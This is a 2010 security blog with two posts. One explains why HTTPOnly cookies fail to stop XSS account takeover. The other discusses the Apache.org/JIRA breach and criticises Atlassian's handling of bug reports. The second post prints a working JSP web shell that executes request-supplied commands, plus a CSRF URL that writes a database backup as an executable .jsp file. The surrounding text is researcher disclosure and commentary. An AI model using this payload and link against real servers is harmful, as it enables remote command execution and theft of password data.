Skeptikal.org

Wednesday, April 14, 2010

5 Reasons HTTPOnly won't save you

In the fallout from the Apache.org hack, several people have suggested that HTTPOnly cookies would prevent this attack. This discussion seems to come up every time XSS is used for credential theft, and I'm getting tired of posting rebuttals, so I figured I'd write one post to point people to.

If you're not familiar with HTTPOnly cookies, there is a flag set on the server side when sending the cookie that instructs the browser to avoid giving client-side scripts access to that data. When the HTTPOnly flag is set, the cookie is only used for, and accessible through, HTTP requests- hence the name.

Don't get me wrong- I recommend you use the HTTPOnly flag on any applications you develop. It's easy to set the flag, and it can be a useful defense in depth measure. However, it does not solve any real problems. At the very most, it's a small hurdle for the attacker. Too often, people fixate on the specific exploit, and not on solving the problem. Assuming he is going to the trouble of writing custom exploits, it won't stop him. Here's why.

Inconsistent browser implementation
While the HTTPOnly flag is supported by all the modern browsers, it didn't used to be. Archaic browser support isn't really a huge concern, but it's not completely insigificant either.

Cookie Tampering
If we assume that I can't read your cookies, that doesn't mean I can't still write them. HTTPOnly cookies can still be overwritten in some browsers, and can be overridden (by setting a more-specific cookie (such as www.example.com where the HTTPOnly cookie is only restricted to example.com. The browser should send the www.example.com cookie when both exist. Some browsers will send both. It's complicated)). The attacker may not have access to your session ID, but if you're not regenerating it every time a privilege change happens (you should be), all the classic session fixation attacks apply. Even if you do regenerate the session ID, the attacker can still force you to take over his session. Depending on the situation, that may be enough.

Cross-Subdomain Information Leakage
Do you have any other applications on other subdomains? An HTTPOnly cookie that's set for example.com will also be sent with any request to ancient-app-that-you-forgot-about.example.com. See my paper from last fall for more details.

mod_userdir
Okay, those of you not on a mass-hosted webserver can tune out, but the millions of you that are, take notice. If your cookie domain is set to "example.com", path is set to "/" (as most are by default), and you're on a mass-hosted webserver (particularly cPanel, though this applies to others), nothing is preventing user "foo" from placing a script on http://example.com/~foo/cookie_logger.php- which he technically owns. Your browser will happily send it those HTTPOnly cookies.

Ignoring the Cookie
Here's the real elephant in the room. Why do attackers want your session cookies in the first place? Trust me, session IDs aren't really that exciting. The attacker's goal is really just to gain access to the application. If they have the ability to execute Javascript in your browser in the context of the targeted website, they've already won. Stealing the cookie happens to be the quickest route to that goal, but it is by no means the only route. What's preventing them from making AJAX calls directly to the application, setting you up as a proxy? Sure, it takes a little more bandwidth, and is slightly more visible, but honestly, how many users would notice a page taking half a second longer to load? How many analyze every request a web page makes?

HTTPOnly cookies are designed to prevent credential theft, but only in situations where the application is already compromised via XSS. Credential theft is a means to an end, and there are plenty of other means to that end. Attackers have options. Defenders don't.

Labels: ,

Tuesday, April 13, 2010

Apache.org hacked, Atlassian Fail

Today's big news- several Apache.org web applications were compromised due to a piddly little XSS hole. The writeup on the Apache blog is phenomenal, so I recommend you read that, but the short version is this:

An attacker found an XSS hole in JIRA, a bug tracking application sold by Atlassian. He sent the malicious link to several administrators via the application itself, and they clicked it. (Kind of sloppy, if you ask me- embed the malicious link in an innocent looking page, and the admins may never realize they got compromised). At that point, the attacker modified a file upload directory and placed a few JSP scripts on the server, giving him a web shell and eventually, root access via sudo.

From there, he modified code to steal sessions of active users, dumped password databases, and performed password reset attacks to collect more credentials, eventually giving him what he needed to access other Apache servers. All in all, this is pretty bad, but huge props go out to them for their transparency. The attacker then mounted a similar attack on Atlassian's own systems, which were in turn compromised.

Unfortunately, this attack was not at all surprising. If I may allow personal experience to color this post, I've reported vulnerabilities to Atlassian in JIRA and other applications in the past, and it's always ended in disappointment. A few examples:

First off, you may recall me mentioning JIRA when I was discussing uploading Flash files to servers last fall. One can disguise a Flash file as a ZIP archive and upload it to the affected server, allowing an attacker to execute Actionscript in the context of the server. I reported this vulnerability to Atlassian at the time, and rather than fix the issue, or at least publish an advisory about it, they sent me instructions on disabling the file upload feature for my installation. Hardly useful. When I report things like this to a vendor, it's not because I'm worried about it compromising my servers- I'm worried about all the other unaware users of the application.

That's bad enough, really; It was a simple XSS hole that caused the Apache breach, but that isn't even the first of the issues I'd found.

Let's look at another example; a combination of several seemingly unimportant bugs. I used this exact exploit in a penetration test 6 months ago, and while it uses none of the same issues as the Apache.org attack, you'll notice that the methods and results are eerily similar.

1) Administrator and user functionality throughout JIRA is vulnerable to CSRF. If you still don't think CSRF is a critical bug, keep reading.

2) One administrator function is the ability to create XML-formatted backups of the database. Those backups can be stored in an arbitrary location, including the web root, and with an arbitrary filename, including JSP. (Atlassian's response: "You'd have to be a JIRA administrator to do this").

3) Other poorly-validated form fields exist throughout the application.

Whether it's because they don't understand the issues, don't appreciate them, or don't care about them, Atlassian's support people have been generally dismissive of my bug reports. The issues I sent in (JSP-47415, JSP-55831, JSP-55834, and JSP-55835, though nobody but me and JIRA support can see them) have been closed, marked as "duplicate" to unrelated issues, or disregarded saying that an upgrade to the current version will fix them (it does not). To demonstrate a working 0-day (okay, not exactly, these were all first reported months ago), let's embed a bit of JSP code in one of those poorly-validated form fields, setting our profile's email preferences to:


<%@page import="java.io.*";
Runtime r=Runtime.getRuntime();
Process p=null;
String cmd=request.getParameter("cmd");
try{
p=r.exec(cmd);
InputStreamReader isr=new InputStreamReader(p.getInputStream());
BufferedReader br=new BufferedReader(isr);
String line=null;
while((line=br.readLine()) != null){
System.out.println(line);
}
p.waitFor();
}catch(Exception e){
out.println(e);
}
System.out.println(p.exitValue());
%>


It stores that code in the database. Harmless, right? Now, what happens when an administrator is tricked into visiting the following link?

https://jiraapp/secure/admin/XmlBackup.jspa?filename=..%2Fatlassian-jira%2Fshell.jsp&useZip=false&saxParser=&confirm=true&Replace+File=Replace+File

You're welcome to stand up a demo copy of the application and try it yourself, but here's the spoiler: It'll create a backup of your database, saved with a .jsp extension, and executable by the webserver. If stealing your password hashes and other data wasn't bad enough (it is a publicly accessible backup of the database, after all), the embedded JSP code also gives the attacker the ability to run arbitrary shell commands. Awesome.

Compare that to the attack that hit Apache.org, and it's not hard to see the similarities. These aren't the only such bugs in the application, and these ones aren't being fixed. Apache's bugs only got fixed after they were used to attack Atlassian themselves. In my mind, you don't get any credit for dealing with bugs after an attack, when you've left multiple equally critical ones open for almost six months. This is the kind of thing that frustrates security researchers. Again, the privilege-escalation-to-shell-command issue used in the attack on Atlassian has been patched, despite the fact that, like the XML backup bug, "You'd have to be a JIRA administrator to do this."

While I have very little respect for Atlassian, the sad truth is that we in the web security world have been preaching the severity of XSS, CSRF and other "unimportant" issues for years. Because those attacks leave very little evidence behind, and because very few breached organizations ever disclose the details of those events, we don't actually see them used in the wild that often, but cases like the Apache.org incident are clear examples that the attackers know about these attacks, and they are using them.

Just because we don't see it, doesn't mean it doesn't happen.

Labels: , , , ,